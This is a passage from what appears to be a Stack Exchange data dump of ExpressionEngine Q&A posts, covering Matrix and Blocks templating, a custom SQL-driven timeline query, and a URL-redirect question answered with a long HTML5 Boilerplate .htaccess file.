  <row Id="26620" PostTypeId="2" ParentId="26616" CreationDate="2014-11-06T18:17:35.553" Score="2" Body="&lt;p&gt;&lt;code&gt;{count}&lt;/code&gt; probably belongs to the outer &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop. You want either &lt;code&gt;{row_id}&lt;/code&gt;, &lt;code&gt;{row_count}&lt;/code&gt;, or &lt;code&gt;{row_index}&lt;/code&gt;, which Matrix provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.pixelandtonic.com/matrix/templating/field.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-06T18:17:35.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26621" PostTypeId="2" ParentId="26595" CreationDate="2014-11-06T18:23:14.570" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://eeblocks.com&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt; is perfectly suited for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can intersperse the content and the images right in the content field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;{page_content}&#xA;&#xA;    {simple_content}&#xA;        {content}&#xA;    {/simple_content}&#xA;&#xA;    {captioned_image}&#xA;    &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{image}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{caption}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;    {/captioned_image}&#xA;&#xA;{/page_content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could output HTML like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;Here's some content. It comes from Wygwam or another content field.&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;This is from the same one.&amp;lt;/p&amp;gt;&#xA;   &amp;lt;figure&amp;gt;&#xA;     &amp;lt;img src=&quot;/image.png&quot;&amp;gt;&#xA;     &amp;lt;figcaption&amp;gt;This is an interspersed image.&amp;lt;/figcaption&amp;gt;&#xA;   &amp;lt;/figure&amp;gt;&#xA;   &amp;lt;p&amp;gt;More content.&amp;lt;/p&amp;gt;&#xA;   &amp;lt;figure&amp;gt;&#xA;     &amp;lt;img src=&quot;/image2.png&quot;&amp;gt;&#xA;     &amp;lt;figcaption&amp;gt;Another interspersed image.&amp;lt;/figcaption&amp;gt;&#xA;   &amp;lt;/figure&amp;gt;&#xA;   &amp;lt;p&amp;gt;More content.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if all of your Matrix fields are already populated, there isn't an easy way to migrate.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-06T18:23:14.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26624" PostTypeId="2" ParentId="26612" CreationDate="2014-11-06T19:43:17.940" Score="1" Body="&lt;p&gt;Here is the solution to my question. Instead of using the search parameter i wrote a single result query around my channel entries tag and passed the concatenated entry_id's in the entry_id parameter Separated by | that allowed me to loop through all the entries for each channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;Select GROUP_CONCAT(CONVERT(entry_id, CHAR(8)) SEPARATOR '|') as eid from exp_channel_data WHERE field_id_459 = '{embed:iid}' OR field_id_192 = '{embed:iid}' OR field_id_193 = '{embed:iid}' OR field_id_165 = '{embed:iid}' OR field_id_497 = '{embed:iid}' OR field_id_195 = '{embed:iid}' OR field_id_196 = '{embed:iid}'&quot;}&#xA;    {if &quot;{eid}&quot; != &quot;&quot;}&#xA;    {exp:channel:entries channel=&quot;general_release|contact_log|notes|medicine_log|temperature_log|bottle_feeding_log&quot; entry_id=&quot;{eid}&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;timeline-item&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-2 date&quot;&amp;gt;&#xA;                    &amp;lt;i class=&quot;fa fa-{if &quot;{channel_name}&quot; == &quot;general_release&quot;}external-link{if:elseif &quot;{channel_name}&quot; == &quot;contact_log&quot;}comments{if:elseif &quot;{channel_name}&quot; == &quot;notes&quot;}file{if:elseif &quot;{channel_name}&quot; == &quot;medicine_log&quot;}medkit{if:elseif &quot;{channel_name}&quot; == &quot;temperature_log&quot;}stethoscope{if:elseif &quot;{channel_name}&quot; == &quot;bottle_feeding_log&quot;}tint{/if}&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    {entry_date format=&quot;%g:%i %a&quot;} - {embed:iid}&#xA;                    &amp;lt;br/&amp;gt;&#xA;                    &amp;lt;small class=&quot;text-navy&quot;&amp;gt;{entry_date:relative}&amp;lt;br&amp;gt;{entry_date format=&quot;%m/%d/%Y&quot;} &amp;lt;/small&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-10 content no-top-border&quot;&amp;gt;&#xA;                    {if &quot;{channel_name}&quot; == &quot;general_release&quot;}&#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;General Release&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Went to {release_destination} for {if &quot;{release_reason}&quot; == &quot;Other&quot;}{release_reason_other}{if:else}{release_destination}{/if}.&amp;lt;/p&amp;gt;&#xA;                    {if:elseif &quot;{channel_name}&quot; == &quot;contact_log&quot;}&#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;Contact&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Contact was made with {contact_list_relationship:contact_name}.&amp;lt;/p&amp;gt;&#xA;                    {if:elseif &quot;{channel_name}&quot; == &quot;notes&quot;}     &#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;Notes&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;                                        &#xA;                        {note}&#xA;                    {if:elseif &quot;{channel_name}&quot; == &quot;medicine_log&quot;}      &#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;Medication&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;   &#xA;                        &amp;lt;p&amp;gt;{amt_given} {medication_relationship:medicine_name} were given.&amp;lt;/p&amp;gt;&#xA;                    {if:elseif &quot;{channel_name}&quot; == &quot;temperature_log&quot;}&#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;Temperature&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;  &#xA;                        &amp;lt;p&amp;gt;A temperature of {temperature} was recorded.&amp;lt;/p&amp;gt;&#xA;                    {if:elseif &quot;{channel_name}&quot; == &quot;bottle_feeding_log&quot;}&#xA;                        &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;Bottle Feeding&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;   &#xA;                        &amp;lt;p&amp;gt;A bottle was given.&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    {/if}&#xA;    {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-11-06T19:43:17.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26627" PostTypeId="1" CreationDate="2014-11-06T21:48:57.353" Score="0" ViewCount="861" Body="&lt;p&gt;We are running expression engine v2.7.2 and the issue we seem to be having is that URLs are redirecting to the segment 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex. 1 &#xA;&lt;a href=&quot;http://www.website.com/pagedoesntexist&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/pagedoesntexist&lt;/a&gt; - displays 404 error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex. 2&#xA;&lt;a href=&quot;http://www.website.com/page1/pagedoesntexist&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/page1/pagedoesntexist&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;should display 404 but doesn't&lt;/li&gt;&#xA;&lt;li&gt;loads &lt;a href=&quot;http://www.website.com/page1/&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/page1/&lt;/a&gt; but url displayed is &lt;a href=&quot;http://www.website.com/page1/pagedoesntexist&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/page1/pagedoesntexist&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;so &lt;a href=&quot;http://www.website.com/page1/&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/page1/&lt;/a&gt; loads page1 instead of 404&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm suspecting it might be a mod-rewrite&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;      RewriteEngine On&#xA;      RewriteBase /&#xA;&#xA;      # Removes index.php from ExpressionEngine URLs&#xA;      RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;      RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;      RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;      # Directs all EE web requests through the site index file&#xA;      RewriteCond %{REQUEST_FILENAME} !-f&#xA;      RewriteCond %{REQUEST_FILENAME} !-d&#xA;      RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what needs to change to correct it.  Can maybe someone provide a working rewrite??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2018-11-29T18:02:30.453" Title="URL Redirecting Issues" Tags="|htaccess|redirects|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26628" PostTypeId="2" ParentId="26627" CreationDate="2014-11-06T23:33:53.910" Score="1" Body="&lt;p&gt;One quick way you can tell if it's your &lt;code&gt;.htaccess&lt;/code&gt; is try updating it to the following. I got this from Nicu at EE Zoo and have been using it for all of my builds here on out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Apache configuration file&#xA;# httpd.apache.org/docs/2.2/mod/quickreference.html&#xA;&#xA;# Note .htaccess files are an overhead, this logic should be in your Apache&#xA;# config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html&#xA;&#xA;# Techniques in here adapted from all over, including:&#xA;#   Kroc Camen: camendesign.com/.htaccess&#xA;#   perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/&#xA;#   Sample .htaccess file of CMS MODx: modxcms.com&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Better website experience for IE users&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Force the latest IE version, in various cases when it may fall back to IE7 mode&#xA;#  github.com/rails/rails/commit/123eb25#commitcomment-118920&#xA;# Use ChromeFrame if it's installed for a better experience for the poor IE folk&#xA;&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  Header set X-UA-Compatible &quot;IE=Edge,chrome=1&quot;&#xA;  # mod_headers can't match by content-type, but we don't want to send this header on *everything*...&#xA;  &amp;lt;FilesMatch &quot;\.(js|css|gif|png|jpe?g|pdf|xml|oga|ogg|m4a|ogv|mp4|m4v|webm|svg|svgz|eot|ttf|otf|woff|ico|webp|appcache|manifest|htc|crx|oex|xpi|safariextz|vcf)$&quot; &amp;gt;&#xA;    Header unset X-UA-Compatible&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Cross-domain AJAX requests&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Serve cross-domain Ajax requests, disabled by default.&#xA;# enable-cors.org&#xA;# code.google.com/p/html5security/wiki/CrossOriginRequestSecurity&#xA;&#xA;#  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;#  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# CORS-enabled images (@crossorigin)&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Send CORS headers if browsers request them; enabled by default for images.&#xA;# developer.mozilla.org/en/CORS_Enabled_Image&#xA;# blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html&#xA;# hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/&#xA;# wiki.mozilla.org/Security/Reviews/crossoriginAttribute&#xA;&#xA;&amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    # mod_headers, y u no match by Content-Type?!&#xA;    &amp;lt;FilesMatch &quot;\.(gif|png|jpe?g|svg|svgz|ico|webp)$&quot;&amp;gt;&#xA;      SetEnvIf Origin &quot;:&quot; IS_CORS&#xA;      Header set Access-Control-Allow-Origin &quot;*&quot; env=IS_CORS&#xA;    &amp;lt;/FilesMatch&amp;gt;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Webfont access&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Allow access from all domains for webfonts.&#xA;# Alternatively you could only whitelist your&#xA;# subdomains like &quot;subdomain.example.com&quot;.&#xA;&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\.(ttf|ttc|otf|eot|woff|font.css)$&quot;&amp;gt;&#xA;    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Proper MIME type for all files&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# JavaScript&#xA;#   Normalize to standard type (it's sniffed in IE anyways)&#xA;#   tools.ietf.org/html/rfc4329#section-7.2&#xA;AddType application/javascript         js jsonp&#xA;AddType application/json               json&#xA;&#xA;# Audio&#xA;AddType audio/ogg                      oga ogg&#xA;AddType audio/mp4                      m4a f4a f4b&#xA;&#xA;# Video&#xA;AddType video/ogg                      ogv&#xA;AddType video/mp4                      mp4 m4v f4v f4p&#xA;AddType video/webm                     webm&#xA;AddType video/x-flv                    flv&#xA;&#xA;# SVG&#xA;#   Required for svg webfonts on iPad&#xA;#   twitter.com/FontSquirrel/status/14855840545&#xA;AddType     image/svg+xml              svg svgz&#xA;AddEncoding gzip                       svgz&#xA;&#xA;# Webfonts&#xA;AddType application/vnd.ms-fontobject  eot&#xA;AddType application/x-font-ttf         ttf ttc&#xA;AddType font/opentype                  otf&#xA;AddType application/x-font-woff        woff&#xA;&#xA;# Assorted types&#xA;AddType image/x-icon                        ico&#xA;AddType image/webp                          webp&#xA;AddType text/cache-manifest                 appcache manifest&#xA;AddType text/x-component                    htc&#xA;AddType application/xml                     rss atom xml rdf&#xA;AddType application/x-chrome-extension      crx&#xA;AddType application/x-opera-extension       oex&#xA;AddType application/x-xpinstall             xpi&#xA;AddType application/octet-stream            safariextz&#xA;AddType application/x-web-app-manifest+json webapp&#xA;AddType text/x-vcard                        vcf&#xA;AddType application/x-shockwave-flash       swf&#xA;AddType text/vtt                            vtt&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Allow concatenation from within specific js and css files&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# e.g. Inside of script.combined.js you could have&#xA;#   &amp;lt;!--#include file=&quot;libs/jquery-1.5.0.min.js&quot; --&amp;gt;&#xA;#   &amp;lt;!--#include file=&quot;plugins/jquery.idletimer.js&quot; --&amp;gt;&#xA;# and they would be included into this single file.&#xA;&#xA;# This is not in use in the boilerplate as it stands. You may&#xA;# choose to use this technique if you do not have a build process.&#xA;&#xA;#&amp;lt;FilesMatch &quot;\.combined\.js$&quot;&amp;gt;&#xA;#  Options +Includes&#xA;#  AddOutputFilterByType INCLUDES application/javascript application/json&#xA;#  SetOutputFilter INCLUDES&#xA;#&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;#&amp;lt;FilesMatch &quot;\.combined\.css$&quot;&amp;gt;&#xA;#  Options +Includes&#xA;#  AddOutputFilterByType INCLUDES text/css&#xA;#  SetOutputFilter INCLUDES&#xA;#&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Gzip compression&#xA;# ----------------------------------------------------------------------&#xA;&#xA;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;&#xA;  # Force deflate for mangled headers developer.yahoo.com/blogs/ydn/posts/2010/12/pushing-beyond-gzipping/&#xA;  &amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;      SetEnvIfNoCase ^(Accept-EncodXng|X-cept-Encoding|X{15}|~{15}|-{15})$ ^((gzip|deflate)\s*,?\s*)+|[X~-]{4,13}$ HAVE_Accept-Encoding&#xA;      RequestHeader append Accept-Encoding &quot;gzip,deflate&quot; env=HAVE_Accept-Encoding&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;  # Compress all output labeled with one of the following MIME-types&#xA;  &amp;lt;IfModule mod_filter.c&amp;gt;&#xA;    AddOutputFilterByType DEFLATE application/atom+xml \&#xA;                                  application/javascript \&#xA;                                  application/json \&#xA;                                  application/rss+xml \&#xA;                                  application/vnd.ms-fontobject \&#xA;                                  application/x-font-ttf \&#xA;                                  application/xhtml+xml \&#xA;                                  application/xml \&#xA;                                  font/opentype \&#xA;                                  image/svg+xml \&#xA;                                  image/x-icon \&#xA;                                  text/css \&#xA;                                  text/html \&#xA;                                  text/plain \&#xA;                                  text/x-component \&#xA;                                  text/xml&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Expires headers (for better cache control)&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# These are pretty far-future expires headers.&#xA;# They assume you control versioning with filename-based cache busting&#xA;# Additionally, consider that outdated proxies may miscache&#xA;#   www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/&#xA;&#xA;# If you don't use filenames to version, lower the CSS and JS to something like&#xA;# &quot;access plus 1 week&quot;.&#xA;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;  ExpiresActive on&#xA;&#xA;# Perhaps better to whitelist expires rules? Perhaps.&#xA;  ExpiresDefault                          &quot;access plus 1 month&quot;&#xA;&#xA;# cache.appcache needs re-requests in FF 3.6 (thanks Remy ~Introducing HTML5)&#xA;  ExpiresByType text/cache-manifest       &quot;access plus 0 seconds&quot;&#xA;&#xA;# Your document html&#xA;  ExpiresByType text/html                 &quot;access plus 0 seconds&quot;&#xA;&#xA;# Data&#xA;  ExpiresByType text/xml                  &quot;access plus 0 seconds&quot;&#xA;  ExpiresByType application/xml           &quot;access plus 0 seconds&quot;&#xA;  ExpiresByType application/json          &quot;access plus 0 seconds&quot;&#xA;&#xA;# Feed&#xA;  ExpiresByType application/rss+xml       &quot;access plus 1 hour&quot;&#xA;  ExpiresByType application/atom+xml      &quot;access plus 1 hour&quot;&#xA;&#xA;# Favicon (cannot be renamed)&#xA;  ExpiresByType image/x-icon              &quot;access plus 1 week&quot;&#xA;&#xA;# Media: images, video, audio&#xA;  ExpiresByType image/gif                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/png                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/jpeg                &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/ogg                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType audio/ogg                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/mp4                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/webm                &quot;access plus 1 month&quot;&#xA;&#xA;# HTC files  (css3pie)&#xA;  ExpiresByType text/x-component          &quot;access plus 1 month&quot;&#xA;&#xA;# Webfonts&#xA;  ExpiresByType application/x-font-ttf    &quot;access plus 1 month&quot;&#xA;  ExpiresByType font/opentype             &quot;access plus 1 month&quot;&#xA;  ExpiresByType application/x-font-woff   &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/svg+xml             &quot;access plus 1 month&quot;&#xA;  ExpiresByType application/vnd.ms-fontobject &quot;access plus 1 month&quot;&#xA;&#xA;# CSS and JavaScript&#xA;  ExpiresByType text/css                  &quot;access plus 1 year&quot;&#xA;  ExpiresByType application/javascript    &quot;access plus 1 year&quot;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent mobile network providers from modifying your site&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The following header prevents modification of your code over 3G on some&#xA;# European providers.&#xA;# This is the official 'bypass' suggested by O2 in the UK.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;# Header set Cache-Control &quot;no-transform&quot;&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# ETag removal&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# FileETag None is not enough for every server.&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  Header unset ETag&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Since we're sending far-future expires, we don't need ETags for&#xA;# static content.&#xA;#   developer.yahoo.com/performance/rules.html#etags&#xA;FileETag None&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Stop screen flicker in IE on CSS rollovers&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The following directives stop screen flicker in IE on CSS rollovers - in&#xA;# combination with the &quot;ExpiresByType&quot; rules for images (see above).&#xA;&#xA;# BrowserMatch &quot;MSIE&quot; brokenvary=1&#xA;# BrowserMatch &quot;Mozilla/4.[0-9]{2}&quot; brokenvary=1&#xA;# BrowserMatch &quot;Opera&quot; !brokenvary&#xA;# SetEnvIf brokenvary 1 force-no-vary&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Set Keep-Alive Header&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Keep-Alive allows the server to send multiple requests through one&#xA;# TCP-connection. Be aware of possible disadvantages of this setting. Turn on&#xA;# if you serve a lot of static content.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#   Header set Connection Keep-Alive&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Cookie setting from iframes&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Allow cookies to be set from iframes (for IE only)&#xA;# If needed, specify a path or regex in the Location directive.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#   Header set P3P &quot;policyref=\&quot;/w3c/p3p.xml\&quot;, CP=\&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\&quot;&quot;&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Start rewrite engine&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Turning on the rewrite engine is necessary for the following rules and&#xA;# features. FollowSymLinks must be enabled for this to work.&#xA;&#xA;# Some cloud hosting services require RewriteBase to be set: goo.gl/HOcPN&#xA;# If using the h5bp in a subdirectory, use `RewriteBase /foo` instead where&#xA;# 'foo' is your directory.&#xA;&#xA;# If your web host doesn't allow the FollowSymlinks option, you may need to&#xA;# comment it out and use `Options +SymLinksOfOwnerMatch`, but be aware of the&#xA;# performance impact: http://goo.gl/Mluzd&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  Options +FollowSymlinks&#xA;# Options +SymLinksIfOwnerMatch&#xA;  RewriteEngine On&#xA;# RewriteBase /&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Suppress or force the &quot;www.&quot; at the beginning of URLs&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The same content should never be available under two different URLs -&#xA;# especially not with and without &quot;www.&quot; at the beginning, since this can cause&#xA;# SEO problems (duplicate content). That's why you should choose one of the&#xA;# alternatives and redirect the other one.&#xA;&#xA;# By default option 1 (no &quot;www.&quot;) is activated.&#xA;# no-www.org/faq.php?q=class_b&#xA;&#xA;# If you'd prefer to use option 2, just comment out all option 1 lines&#xA;# and uncomment option 2.&#xA;&#xA;# IMPORTANT: NEVER USE BOTH RULES AT THE SAME TIME!&#xA;&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Option 1:&#xA;# Rewrite &quot;www.example.com -&amp;gt; example.com&quot;.&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;  RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Option 2:&#xA;# Rewrite &quot;example.com -&amp;gt; www.example.com&quot;.&#xA;# Be aware that the following rule might not be a good idea if you use &quot;real&quot;&#xA;# subdomains for certain parts of your website.&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{HTTPS} !=on&#xA;#   RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xA;#   RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Built-in filename-based cache busting&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# If you're not using the build script to manage your filename version revving,&#xA;# you might want to consider enabling this, which will route requests for&#xA;# /css/style.20110203.css to /css/style.css&#xA;&#xA;# To understand why this is important and a better idea than all.css?v1231,&#xA;# read: github.com/h5bp/html5-boilerplate/wiki/cachebusting&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{REQUEST_FILENAME} !-f&#xA;#   RewriteCond %{REQUEST_FILENAME} !-d&#xA;#   RewriteRule ^(.+)\.(\d+)\.(js|css|png|jpg|gif)$ $1.$3 [L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent SSL cert warnings&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Rewrite secure requests properly to prevent SSL cert warnings, e.g. prevent&#xA;# https://www.example.com when your cert only allows https://secure.example.com&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{SERVER_PORT} !^443&#xA;#   RewriteRule ^ https://example-domain-please-change-me.com%{REQUEST_URI} [R=301,L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent 404 errors for non-existing redirected folders&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# without -MultiViews, Apache will give a 404 for a rewrite if a folder of the&#xA;# same name does not exist.&#xA;# webmasterworld.com/apache/3808792.htm&#xA;&#xA;Options -MultiViews&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Custom 404 page&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# You can add custom pages to handle 500 or 403 pretty easily, if you like.&#xA;# If you are hosting your site in subdirectory, adjust this accordingly&#xA;#    e.g. ErrorDocument 404 /subdir/404.html&#xA;ErrorDocument 404 /404&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# UTF-8 encoding&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Use UTF-8 encoding for anything served text/plain or text/html&#xA;AddDefaultCharset utf-8&#xA;&#xA;# Force UTF-8 for a number of file formats&#xA;AddCharset utf-8 .atom .css .js .json .rss .vtt .xml&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# A little more security&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# To avoid displaying the exact version number of Apache being used, add the&#xA;# following to httpd.conf (it will not work in .htaccess):&#xA;# ServerTokens Prod&#xA;&#xA;# &quot;-Indexes&quot; will have Apache block users from browsing folders without a&#xA;# default document Usually you should leave this activated, because you&#xA;# shouldn't allow everybody to surf through every folder on your server (which&#xA;# includes rather private places like CMS system folders).&#xA;&amp;lt;IfModule mod_autoindex.c&amp;gt;&#xA;  Options 